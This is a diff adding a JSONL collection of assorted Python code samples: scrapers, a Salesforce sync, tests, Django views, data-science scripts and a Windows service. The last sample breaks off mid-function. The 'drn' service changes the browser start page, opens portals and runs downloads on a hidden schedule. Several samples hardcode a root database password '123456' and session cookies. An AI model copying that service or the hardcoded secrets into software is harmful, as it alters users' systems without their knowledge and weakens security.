diff --git "a/4532.jsonl" "b/4532.jsonl" new file mode 100644--- /dev/null +++ "b/4532.jsonl" @@ -0,0 +1,708 @@ +{"seq_id":"436794089","text":"import requests\nimport pymysql\nfrom lxml import etree\nimport time\nimport random\n\n\ndef get(num):\n conn = pymysql.connect(\n host=\"localhost\",\n port=3306,\n user=\"root\",\n password=\"123456\",\n database=\"goods\",\n charset=\"utf8\",\n )\n cursor = conn.cursor()\n url = \"http://www.dzwww.com/xinwen/shehuixinwen/default_{}.htm\".format(num, )\n\n headers = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Cache-Control\": \"max-age=0\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": \"BAIDU_SSP_lcr=https://www.baidu.com/link?url=9euolAaS6Gjw5Wdj984D2JIEQdBT0D_FlgaQh70MfRa&wd=&eqid=b6be4c090003eaee000000025e437555; dishis=jn; wdcid=5926a9be348fa766; wdlast=1581480204\",\n \"Host\": \"www.dzwww.com\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\",\n }\n headers1 = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Cache-Control\": \"max-age=0\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": \"BAIDU_SSP_lcr=https://www.baidu.com/link?url=9euolAaS6Gjw5Wdj984D2JIEQdBT0D_FlgaQh70MfRa&wd=&eqid=b6be4c090003eaee000000025e437555; wdcid=5926a9be348fa766; wdlast=1581478894\",\n # \"Host\": \"sd.dzwww.com\",\n \"Sec-Fetch-Mode\": \"navigate\",\n \"Sec-Fetch-Site\": \"none\",\n \"Sec-Fetch-User\": \"?1\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\",\n }\n response = requests.get(url, headers=headers).text\n # print(response)\n html = etree.HTML(response)\n a_urls = html.xpath(\"//div[@class='news-list']/ul/li/a/@href\")\n print(len(a_urls))\n for a in a_urls:\n print(a)\n response1 = requests.get(a, headers=headers1).content.decode(\"gbk\")\n html1 = etree.HTML(response1)\n title = html1.xpath(\"//div[@id='news-head']/h2/text()\")[0]\n ps = html1.xpath(\"//div[@id='news-body']/p\")\n content = \"\"\n for p in ps:\n t = \"\".join(p.xpath(\".//text()\")).strip()\n content = content + \"\\n\" + t\n if len(content) > 0:\n print(title)\n content = content.strip()\n source = \"大众网\"\n word = \"社会新闻\"\n try:\n sql = \"insert into xinwen(title, content, source, word, url) values(%s, %s, %s, %s, %s)\"\n cursor.execute(sql, (title, content, source, word, a))\n conn.commit()\n except Exception as e:\n print(e)\n\n\nif __name__ == \"__main__\":\n for i in range(2, 21):\n print(\"当前为第%s页\" % (i))\n time.sleep(random.uniform(1, 3))\n get(i)","sub_path":"02/0212/大众网.py","file_name":"大众网.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"201534118","text":"import math\r\nfrom math import*\r\n\r\nnbChar = 0;\r\ndico = {};\r\n\r\n#main function\r\ndef sha(chaine):\r\n global nbChar, dico;\r\n print (\"\\nVous avez écrit : \", chaine);\r\n print(\"\\n\");\r\n \r\n \r\n #initialisation du dictionnaire avec les lettres et leur nombre à 0.\r\n for lettre in chaine:\r\n # compteur pour calculer le nombre de lettres et donc le nombre de bit dans la mot : cpt+=1;\r\n dico[lettre]=0;\r\n\r\n def moitie(chaine):\r\n global nbChar, dico;\r\n #comptage des lettres\r\n for lettre in chaine:\r\n dico[lettre]+=1;\r\n nbChar+=1;\r\n print('Nb total de lettre :' + str(nbChar));\r\n return;\r\n\r\n moitie(chaine);\r\n print(dico);\r\n \r\n premiereMoitie = math.ceil(nbChar/2);\r\n deuxiemeMoitie = floor(nbChar/2);\r\n print ('\\n' + 'Nombre de lettres: ' + str(nbChar) + ' de moitié: ' + str(premiereMoitie) + ' et ' + str(deuxiemeMoitie));\r\n \r\n\r\n print('\\nTri du dictionnaire pour application de Shannon-Fano...');\r\n dicoTrie = {};\r\n dicoTrie = sorted(dico.items(), key=lambda v: v[1], reverse=True);\r\n print('\\nTri effectué !!\\n');\r\n print(dicoTrie);\r\n\r\n########## En soi c'est du debug #######################################################################\r\n sommeLettre = 0;\r\n\r\n for valeur in enumerate(dicoTrie):\r\n if sommeLettre > premiereMoitie:\r\n break\r\n sommeLettre += valeur[1][1];\r\n print (valeur[1][1]);\r\n \r\n print(str(sommeLettre));\r\n##########################################################################################################\r\n \r\n\r\n########################################################################################################## \r\n def decoupageChaine(dicoTrie) :\r\n global nbChar, dico;\r\n cpt = moitie(dicoTrie);\r\n return;\r\n##########################################################################################################\r\n\r\n \r\n########################################################################################################## \r\n def bitsarisation(dicoTrie) :\r\n if len(dicoTrie) != 1 :\r\n decoupageChaine(dicoTrie); \r\n return;\r\n##########################################################################################################\r\n\r\n bitsarisation(dicoTrie);\r\n\r\n\r\n\r\n\r\n\r\n return;\r\n\r\n# nb lettres pair : didondinaditondudosdundodudindon\r\n# nb lettres impair : didondinaditondudodundodudindon\r\n\r\nchaine = input('Saisissez une phrase sans majuscule : \\n');\r\nsha(chaine);\r\n","sub_path":"Shannon/shannon_test.py","file_name":"shannon_test.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"572793187","text":"import requests\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nstrips = [\n #'10.65.3.239',\n #'10.65.3.249',\n '10.65.3.236'\n]\n\npayload={}\npayload = {}\n#payload['sync_start'] = 2000\n# 3 is confetti mode, 5 is rainbow bpm mode\npayload['mode'] = 90;\npayload['bpm'] = 10;\npayload['hue'] = 0;\npayload['saturation'] = 64;\npayload['brightness'] = 255;\n\n\ndef send_message(ipaddr):\n url = \"http://{}/lights\".format(ipaddr)\n requests.post(url, json=payload)\n \n\npool = ThreadPool(len(strips))\npool.map(send_message, strips)\npool.close()","sub_path":"syncLights.py","file_name":"syncLights.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"209580409","text":"import os,sys,inspect,datetime,json,re\nfrom sql_helper import psql_helper\nimport salesforce as sf\nimport datetime,pytz\n\nclass Salesforce:\n sql = psql_helper()\n\n salesforce_objects = ['Account','Contact','Event','EventRelation','Lead','LeadHistory','Opportunity','OpportunityContactRole','OpportunityFieldHistory','OpportunityHistory','Task','TaskRelation','User','EmailServicesAddress']\n api_calls = 0\n\n def inital_import_all(self):\n for t in self.salesforce_objects:\n table_name = Salesforce.to_underscore(t)\n self.initial_import(t, table_name)\n\n def sync_latest_update(self, object_name, table_name, key, insert=False):\n if insert:\n q = \"\"\"\n INSERT INTO etl_sf_sync (object_name, last_sync)\n SELECT '{0}', max(\"{2}\")\n FROM \"sf_{1}\"\n \"\"\".format(object_name, table_name, key)\n else:\n q = \"\"\"\n UPDATE etl_sf_sync\n SET last_sync= (SELECT max(\"{2}\") FROM \"sf_{1}\")\n WHERE object_name = '{0}'\n \"\"\".format(object_name, table_name, key)\n self.sql.execute(q)\n\n def initial_import(self, object_name, table_name):\n print(\"-------------------------\")\n print(\"Starting import for \" + object_name)\n self.sql.execute(\"DELETE FROM etl_sf_sync WHERE object_name = %s\", [object_name])\n now = datetime.datetime.utcnow().replace(tzinfo=pytz.utc)\n schema, dt_col = sf.get_schema(object_name)\n self.api_calls = self.api_calls + 1\n droptable = \"DROP TABLE IF EXISTS \\\"sf_{0}\\\" CASCADE;\".format(table_name)\n self.sql.execute(droptable)\n create = sf.generate_create_script(table_name, schema)\n self.sql.execute(create)\n self.api_calls = self.api_calls + sf.get_data(object_name, table_name, schema, self.sql)\n self.sync_latest_update(object_name, table_name, dt_col, True)\n\n def delta_changes(self):\n query = \"SELECT * FROM etl_sf_sync\"\n times = self.sql.fetch(query, None, True)\n sync_times = {}\n for t in times:\n sync_times[t[0]] = t[1]\n for object_name in self.salesforce_objects:\n table_name = Salesforce.to_underscore(object_name)\n schema, dt_col = sf.get_schema(object_name)\n self.api_calls = self.api_calls + 1\n upper_dt = datetime.datetime.utcnow().replace(tzinfo=pytz.utc)\n if object_name in sync_times:\n lower_dt = sync_times[object_name].astimezone(pytz.utc)\n self.api_calls = self.api_calls + sf.get_changed_data(object_name, table_name, schema, self.sql, lower_dt, upper_dt)\n self.sync_latest_update(object_name, table_name, dt_col)\n else:\n self.initial_import(object_name, table_name)\n\n @staticmethod\n def to_underscore(name):\n s1 = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', name)\n return re.sub('([a-z0-9])([A-Z])', r'\\1_\\2', s1).lower()\n \n @staticmethod\n def to_camel_case(snake_str):\n components = snake_str.split('_')\n # We capitalize the first letter of each component except the first one\n # with the 'title' method and join them together.\n return \"\".join(x.title() for x in components)\n\nif __name__ == '__main__':\n s = Salesforce()\n #sf.get_objects()\n s.delta_changes()\n #print(s.api_calls)","sub_path":"salesforce/sf.py","file_name":"sf.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"597927330","text":"#\n# This file is part of Invenio.\n# Copyright (C) 2016-2018 CERN.\n#\n# Invenio is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"Added traceback column to OAIRecord table\"\"\"\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '9a53e55796fa'\ndown_revision = '5e003513e795'\nbranch_labels = ()\ndepends_on = None\n\n\ndef upgrade():\n \"\"\"Upgrade database.\"\"\"\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('oarepo_oai_record', sa.Column('traceback', sa.Text(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n \"\"\"Downgrade database.\"\"\"\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('oarepo_oai_record', 'traceback')\n # ### end Alembic commands ###\n","sub_path":"invenio_oarepo_oai_pmh_harvester/alembic/9a53e55796fa_added_traceback_column_to_oairecord_.py","file_name":"9a53e55796fa_added_traceback_column_to_oairecord_.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"423184444","text":"import unittest\nfrom should_dsl import should\nfrom exercicio10 import Numero\n\nclass TesteNumero(unittest.TestCase):\n def test_fatores_primos(self):\n numero = Numero(10)\n numero.fatores_primos() |should| equal_to({2 : 1, 5 : 1})\n\n def test_fatorial(self):\n numero = Numero(10)\n numero.fatorial() |should| equal_to(3628800)\n numero = Numero(5)\n numero.fatorial() |should| equal_to(120)\n\n def test_mdc(self):\n numero1 = Numero(10)\n numero2 = Numero(50)\n numero1.mdc(numero2) |should| equal_to(10)\n\n def test_mmc(self):\n numero1 = Numero(10)\n numero2 = Numero(50)\n numero1.mmc(numero2) |should| equal_to(50)\n\nif __name__ == \"__main__\":\n unittest.main()\n\n","sub_path":"OO e testes/teste_exercicio10.py","file_name":"teste_exercicio10.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"642636164","text":"from django.shortcuts import render, redirect\nfrom .models import Book\nfrom .forms import AddBookForm\nfrom django.http import HttpResponse\n\n# Create your views here.\n\ndef get_index(request):\n if request.user.is_authenticated:\n books_items = Book.objects.filter(owner=request.user) \n else:\n books_items = []\n return render(request, \"books/index.html\", {'books': books_items})\n \ndef add_book(request):\n if request.method==\"POST\":\n form=AddBookForm(request.POST, request.FILES)\n if form.is_valid():\n book = form.save(commit=False)\n book.owner = request.user\n book.save()\n return redirect(\"/\")\n else:\n form = AddBookForm()\n return render(request, 'books/add_book.html', {'form': form})\n","sub_path":"books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"16067303","text":"# -*- coding: utf-8 -*-\n\"\"\"\n¯\\_(ツ)_/¯\nspeech decoding for all wav files in a given subject folder\n\"\"\"\nimport os\nimport sys\nimport quail\n\nif sys.version_info[0] < 3:\n ls = os.listdir('.')\nelse:\n ls = os.listdir()\nprint('Subject data file in pwd: \\n ' + str(ls))\nprint(\"TYPE: decode_all_wav('subj name in strings')\")\n\ndataDir = os.getcwd()\nstimDir = os.path.join(dataDir, '../stimuli')\nos.chdir(stimDir)\n\nwith open('cel_names.txt', 'r') as f:\n cel_list = f.read().splitlines()\nwith open('loc_names.txt', 'r') as f:\n loc_list = f.read().splitlines()\nwith open('obj_names.txt', 'r') as f:\n obj_list = f.read().splitlines()\n\ntotal_list = cel_list + loc_list + obj_list\n\nos.chdir(dataDir)\n\ndef decode_all_wav(subj):\n \"\"\"\n Help: type decode_all_wav('subj name in strings')\n decode_all_wav.py needs to be inside data folder\n Code is based on quail's decode_speech.py\n You need Google Cloud account setup with key.json file + quail setup on your computer to run this\n \"\"\"\n subj = subj.lower()\n pwdDir = os.getcwd()\n filename = os.path.join(pwdDir, '' + str(subj))\n if not os.path.isdir(filename):\n print('No such subject name/data file')\n os.chdir(filename)\n pwdDir = os.getcwd()\n filename = os.path.join(pwdDir + '/record')\n os.chdir(filename)\n\n # check if python 2 or 3\n if sys.version_info[0] < 3:\n ls = os.listdir('.')\n else:\n ls = os.listdir()\n\n for i in range(0,len(ls)):\n #double check if wav file\n if ls[i][-3:] == 'wav':\n recall_data = quail.decode_speech(ls[i], save=True,speech_context=total_list,keypath='/Users/Jin/documents/matlab/research/recall-0fa1a5e0555b.json')\n print(recall_data)\n print('end of wav file ' + str(i+1))\n filename = os.path.join(pwdDir + '/..')\n os.chdir(filename)\n\n\n\n\"\"\"\nhttps://github.com/ContextLab/quail/blob/master/quail/decode_speech.py\nParameters for quail.decode_speech:\n ----------\n path : str\n Path to a wav file, or a folder of wav files.\n keypath : str\n Google Cloud Speech API key filepath. This is a JSON file containing\n credentials that was generated when creating a service account key.\n If None, assumes you have a local key that is set with an environmental\n variable. See the speech decoding tutorial for details.\n save : boolean\n False by default, but if set to true, will save a pickle with the results\n object from google speech, and a text file with the decoded words.\n speech_context : list of str\n This allows you to give some context to the speech decoding algorithm.\n For example, this could be the words studied on a given list, or all\n words in an experiment.\n sample_rate : float\n The sample rate of your audio files (default is 44100).\n max_alternatives : int\n You can specify the speech decoding to return multiple guesses to the\n decoding. This will be saved in the results object (default is 1).\n language_code : str\n Decoding language code. Default is en-US. See here for more details:\n https://cloud.google.com/speech/docs/languages\n enable_word_time_offsets : bool\n Returns timing information s(onsets/offsets) for each word (default is\n True).\n return_raw : boolean\n Intead of returning the parsed results objects (i.e. the words), you can\n return the raw reponse object. This has more details about the decoding,\n such as confidence.\n Returns\n ----------\n words : list of str, or list of lists of str\n The results of the speech decoding. This will be a list if only one file\n is input, or a list of lists if more than one file is decoded.\n raw : google speech object, or list of objects\n You can optionally return the google speech object instead of the parsed\n results by using the return_raw flag.\n\"\"\"\n","sub_path":"wav_to_pickle.py","file_name":"wav_to_pickle.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"157141005","text":"# learn about python data types\n# learn about strings\n# some more advanced string operations\n\nclass student:\n def __init__(self, id, fname, lname, school):\n self.id = id\n self.fname = fname\n self.lname = lname\n self.school = school\n def process_students_data(self, element):\n id, fname, lname, school = element.split(\",\")\n return [{\n 'id': id,\n 'fname':fname,\n 'lname': lname,\n 'school': school\n }]\n\ndef process_student_lines(element):\n id, fname, lname, school = element.split(\",\")\n return [{\n 'id': id,\n 'fname':fname,\n 'lname': lname,\n 'school': school\n }]\n\n#studentobj = \n#studentline= \"10,Vishal,Khondre,test\"\n#studentdata = process_student_lines(studentline)\n#print(studentdata)\n\nwith open(\"C:\\code\\learnPython\\studentsdata.csv\") as f:\n data = f.readlines()\nfor studentline in data:\n print(studentline)\n studentdata = process_student_lines(studentline)\n print(studentdata)\n print('\\n')\n studentdata\n","sub_path":"008-py-second-script.py","file_name":"008-py-second-script.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"608809357","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def minDiffInBST(self, root: TreeNode) -> int:\n nodes = []\n def dfs(node):\n if node:\n nodes.append(node.val)\n if node.left:\n dfs(node.left)\n if node.right:\n dfs(node.right)\n \n dfs(root)\n return (min(abs(a-b) for a in nodes for b in nodes if a!=b))\n","sub_path":"Easy/Minimum Distance Between BST Nodes_297883378.py","file_name":"Minimum Distance Between BST Nodes_297883378.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62373970","text":"#!/usr/bin/env python\n\n\"\"\"\nDemonstration of Graph and BokehGraph functionality.\n\"\"\"\n\nfrom random import sample\nfrom sys import argv\nfrom draw import BokehGraph\nfrom graph import Graph, Vertex\n\n\ndef main(num_vertices=8, num_edges=8, draw_components=True):\n \"\"\"Build and show random graph.\"\"\"\n graph = Graph()\n # Add appropriate number of vertices\n for num in range(num_vertices):\n graph.add_vertex(Vertex(label=str(num), component=num))\n\n # Add random edges between vertices\n edges = set()\n for _ in range(num_edges):\n vertices = sample(graph.vertices.keys(), 2)\n # set vertices_id to a concatenated string of ints from vertices\n vertices_id = str(vertices[0])[-1] + str(vertices[1])[-1]\n if vertices_id not in edges:\n graph.add_edge(vertices[0], vertices[1])\n edges.add(vertices_id)\n\n bokeh_graph = BokehGraph(graph, draw_components=draw_components)\n bokeh_graph.show()\n\n\nif __name__ == '__main__':\n if len(argv) == 4:\n NUM_VERTICES = int(argv[1])\n NUM_EDGES = int(argv[2])\n DRAW_COMPONENTS = bool(int(argv[3]))\n if NUM_EDGES > (NUM_VERTICES * (NUM_VERTICES - 1))/2:\n # bidirectional limit: n*(n-1)/2, else n^2\n print('Too many edges. Choose a lower number')\n else:\n main(NUM_VERTICES, NUM_EDGES, DRAW_COMPONENTS)\n elif len(argv) == 1:\n main()\n else:\n print('Expected arguments: Vertices(int) Edges(int) Draw_Components(0/1)')\n","sub_path":"graph_dfs_debug/graph_demo.py","file_name":"graph_demo.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"576225026","text":"# instead C:\\Python27\\Lib\\site-packages\\win32\\drn.exe\n# use C:\\windows\\system32\\drn.exe\n# drn.exe /register\n# python drn.py install\n\nfrom services import *\n \nlastmodified = time.strftime('%H%M')\nf1 = open('c:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\drnlog','w')\nf2 = open('c:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\drnlogwarning','w')\nf1.close(); f2.close()\nf1 = open('c:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\drnlog','a')\nf2 = open('c:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\drnlogwarning','a')\n\ndef startsvc(name):\n try:\n os.system('sc start %s' %name)\n f1.write('started %s at %s\\n' %(name,time.ctime()) )\n time.sleep(1.0)\n except:\n f2.write('failed start %s at %s\\n' %(name,time.ctime()) )\n time.sleep(1.0)\n f1.flush(); f2.flush()\n\ndef dodrn():\n svclist3 = ['wuauserv','Browser','gupdatem','Dot3svc','NetHelper Client V7.0 Main Service']\n svclist3 += ['MSUpdateAgentService','nProtect GameGuard Service']\n now = datetime.now()\n f2.write('runing drn'+now.ctime()+'\\n' )\n #os.system('start pssuspend.exe audiodg.exe >> out')\n for name in svclist3:\n startsvc(name)\n\ndef runOffHolidays():\n\n now = datetime.now()\n if comname == 'PC-PC':\n if now.hour==7 and now.minute == 20 and now.second in [10,20]:\n openPortals(f2)\n setStartPage(f2)\n elif 9<= now.hour<=11:\n dnfile(f2)\n else:\n time.sleep(60)\n else:\n if now.hour==12 and now.minute == 40 and now.second in [10,20]:\n openPortals(f2)\n elif 14<= now.hour<=16:\n dnfile(f2)\n else:\n time.sleep(60)\n\ndef runHolidays():\n now = datetime.now()\n if comname == 'PC-PC':\n if now.hour==14 and now.minute == 40 and now.second in [10,20]:\n openPortals(f2)\n elif 14<= now.hour<=16:\n dnfile(f2)\n else:\n time.sleep(60)\n if comname != 'PC-PC':\n if now.hour==7 and now.minute == 30 and now.second in [10,20]:\n setStartPage(filename=f2)\n openPortals(f2)\n if 9<= now.hour<=11:\n dnfile(f2)\n else:\n time.sleep(60)\n\ndef runNights():\n Anextday = getAnextday()\n Bnextday = getBnextday()\n Cnextday = getCnextday()\n #print now.day, Anextday, Bnextday\n now = datetime.now()\n if comname == 'PC-PC' and now.date() == Cnextday:\n # print 'Cnextday'\n if now.hour== 0 and now.minute == 10 and now.seconds in [10,20]:\n openPortals(f2)\n elif 0<= now.hour<=1:\n dnfile(f2)\n else:\n time.sleep(60)\n elif comname == 'PC-PC' and ( now.date() == Anextday or now.date() in extradays ):\n #print 'anextday'\n if now.hour==2 and now.minute == 55 and now.second in [10,20]:\n setStartPage(filename=f2)\n openPortals(f2)\n elif 4<= now.hour<=6:\n dnfile(f2)\n else:\n time.sleep(60)\n elif comname != 'PC-PC' and now.date() == Bnextday:\n #print 'bnextday',Bnextday\n if now.hour==1 and now.minute == 47 and now.second in [10,20]:\n openPortals(f2)\n setStartPage(filename=f2)\n elif 3<= now.hour<=4:\n dnfile(f2)\n else:\n time.sleep(60)\n else:\n time.sleep(60*5)\n\ndef runDoSvc():\n f1.write('Running drnSvc at %s\\n' %time.ctime() )\n #print 'Running drn Svc'\n while True:\n if not checkService(svcName = 'hlyctlsvc'):\n f1.write( 'try Running %s failed at %s\\n' %('hlyctlsvc',time.ctime()) )\n now = datetime.now()\n aday = now.date()\n if isOffHoliday(aday):\n runOffHolidays()\n elif isHoliday(aday):\n runHolidays()\n elif isAnextday(aday) or isBnextday(aday) or isCnextday(aday) or aday in extradays:\n runNights()\n else:\n time.sleep(60*5)\n time.sleep(30)\n\nclass drn(win32serviceutil.ServiceFramework):\n _svc_name_ = \"drn\"\n _svc_display_name_ = \"The drn Service\"\n def __init__(self, args):\n win32serviceutil.ServiceFramework.__init__(self, args)\n # Create an event which we will use to wait on.\n # The \"service stop\" request will set this event.\n self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)\n def SvcStop(self):\n # Before we do anything, tell the SCM we are starting the stop process.\n self.ReportServiceStatus(win32service.SERVICE_START_RUNNING)\n # And set my event.\n win32event.SetEvent(self.hWaitStop)\n def SvcDoRun(self):\n # We do nothing other than wait to be stopped!\n runDoSvc()\n\nif __name__=='__main__':\n #runDoSvc()\n #runNights()\n #runOffHolidays()\n #runHolidays()\n win32serviceutil.HandleCommandLine(drn)\n","sub_path":"win32/drn.py","file_name":"drn.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"412119425","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import train_test_split\nimport os\n\nBaseDir = os.path.split(os.path.split(__file__)[0])[0]\n# load data, converts csv into pandas dataframe\ncd = pd.read_csv(BaseDir + '/Data/CompleteData.csv')\n\n\n# create a function to convert date string to float, with day 1 being the first day of 2011\ndef string_to_float(date_string):\n days = int(date_string[-2:])\n months = int(date_string[-5:-3]) * 30\n years = (int(date_string[:4]) - 2011) * 365\n total_days = days + months + years\n return total_days\n\n\n# apply the function to the date column\ncd['Dia'] = cd['Dia'].apply(string_to_float)\n\n\n# create a function to convert wind directions to degrees\ndef dir_to_deg(direction):\n if direction == 'N':\n return 0\n if direction == 'NNE':\n return 22.5\n if direction == 'NE':\n return 45\n if direction == 'ENE':\n return 67.5\n if direction == 'E':\n return 90\n if direction == 'ESE':\n return 112.5\n if direction == 'SE':\n return 135\n if direction == 'SSE':\n return 157.5\n if direction == 'S':\n return 180\n if direction == 'SSW':\n return 202.5\n if direction == 'SW':\n return 225\n if direction == 'WSW':\n return 247.5\n if direction == 'W':\n return 270\n if direction == 'WNW':\n return 292.5\n if direction == 'NW':\n return 315\n if direction == 'NNW':\n return 337.5\n\n\n# apply the function to the wind direction column\ncd['DireccionVientoMax'] = cd['DireccionVientoMax'].apply(dir_to_deg)\n\n# create new columns for x and y values of wind speed and direction vector\ncd['VientoX'] = (cd['VelocidadVientoMax']) * np.sin(np.deg2rad(cd['DireccionVientoMax']))\ncd['VientoY'] = (cd['VelocidadVientoMax']) * np.cos(np.deg2rad(cd['DireccionVientoMax']))\n\n# drop original wind speed and direction values\ncd = cd.drop(['VelocidadVientoMax', 'DireccionVientoMax'], axis=1)\n\n# handle missing values\ncd = cd.dropna()\n\n# create a list to store generated values\noutput = []\n\n# create values for x, leaving out the date column and the location column\ncolumn_names = ['TempMinAbs', 'TempProm', 'TempMaxAbs', 'Hum', 'Precipitacion', 'RadSolar', 'RadSolarMaxAbs', 'IndiceUV',\n 'IndiceUVMaxAbs', 'VientoX', 'VientoY']\n\n# start a for loop containing the random forests\nfor x in column_names:\n X_train, X_test, Y_train, Y_test = train_test_split(cd.drop(labels=[x], axis =1), cd[x].values,\n test_size=0.4)\n rf = RandomForestRegressor(n_estimators=10, random_state=30)\n rf.fit(X_train, Y_train)\n predictions = rf.predict(X_test)\n output.append(predictions) # append the output of the random forest to the list\n errors = abs(predictions - Y_test)\n print('Mean Absolute Error:', np.round(np.mean(errors), 2), 'degrees.')\n\n\n\nPredictionData = pd.DataFrame(output, index=['TempMinAbs_Pred', 'TempProm_Pred', 'TempMaxAbs_Pred', 'Hum_Pred',\n 'Precipitacion_Pred', 'RadSolar_Pred', 'RadSolarMaxAbs_Pred', 'IndiceUV_Pred',\n 'IndiceUVMaxAbs_Pred', 'VientoX_Pred', 'VientoY_Pred'])\n\nPredictionData = PredictionData.T\n\nActualData = cd.drop(['Dia', 'location'], axis=1)\n\n\n\n\n\n\n#pd.set_option('display.max_columns', None)\n#print(cd.head())\n","sub_path":"Code/RandomForestsDataCompletion.py","file_name":"RandomForestsDataCompletion.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"263206235","text":"import os\nimport numpy as np\nimport pandas as pd\nimport datetime\nimport geopy.distance\nfrom matplotlib import pyplot as plt\n\ndef load_meo_data(useful_stations, city):\n # Returns 3 objects : \n # - meo_dataset : the input dataset where the utc_time column has been replaced by a column named time with dates\n # instead of strings\n # - stations : a list of all the stations' names\n # - meo_stations a dictionnary where you can find for each station its air quality\n\n if city == \"bj\" :\n meo_dataset = pd.read_csv(\"./data/Beijing_historical_meo_grid.csv\")\n elif city == \"ld\":\n meo_dataset = pd.read_csv(\"./data/London_historical_meo_grid.csv\")\n \n # We prepare the column\n meo_dataset.drop(\"longitude\", axis=1, inplace=True) \n meo_dataset.drop(\"latitude\", axis=1, inplace=True)\n\n meo_dataset.rename(index=str, columns={\"wind_speed/kph\" : \"wind_speed\"}, inplace=True)\n\n meo_dataset.sort_index(inplace=True)\n meo_dataset.drop_duplicates(subset=None, inplace=True)\n\n meo_dataset[\"time\"] = pd.to_datetime(meo_dataset['utc_time'])\n meo_dataset.set_index(\"time\", inplace=True)\n meo_dataset.drop(\"utc_time\", axis=1, inplace=True)\n\n # Names of all stations (we use set to get unique names)\n stations = set(meo_dataset['stationName'])\n\n # Dictionnary that gives for each stations the meo data\n meo_stations = {}\n for aq_station_name, meo_station_name in useful_stations.items() :\n if meo_station_name in stations :\n meo_station = meo_dataset[meo_dataset[\"stationName\"]==meo_station_name].copy()\n meo_station.drop(\"stationName\", axis=1, inplace=True)\n if \"None\" in meo_station.columns :\n meo_station.drop(\"None\", axis=1, inplace=True)\n\n meteo_feature_names = meo_station.columns.values.tolist()\n column_names = {}\n for meteo_feature_name in meteo_feature_names:\n column_names[meteo_feature_name] = aq_station_name+\"_\"+meteo_feature_name\n meo_station_renamed = meo_station.rename(index=str, columns=column_names)\n meo_stations[aq_station_name] = meo_station_renamed \n\n return meo_dataset, stations, meo_stations\n\ndef generate_nearest_stations(city):\n near_stations = {}\n if city == \"ld\":\n aq_locations = pd.read_csv(\"./data/London_AirQuality_Stations.csv\", usecols=[0,4,5])\n aq_locations.columns = ['station_id','Latitude','Longitude']\n grid_locations = pd.read_csv(\"./data/London_grid_weather_station.csv\",names=['grid_id','Latitude','Longitude'])\n elif city == 'bj':\n aq_locations = pd.read_excel(\"./data/Beijing_AirQuality_Stations_en.xlsx\", skiprows=11, names=['station_id','Latitude','Longitude']).drop([12,13,25,26,34,35])\n grid_locations = pd.read_csv(\"./data/Beijing_grid_weather_station.csv\",names=['grid_id','Longitude','Latitude'])\n for index_aq, row_aq in aq_locations.iterrows():\n max_dist = 1e10\n coords_aq = 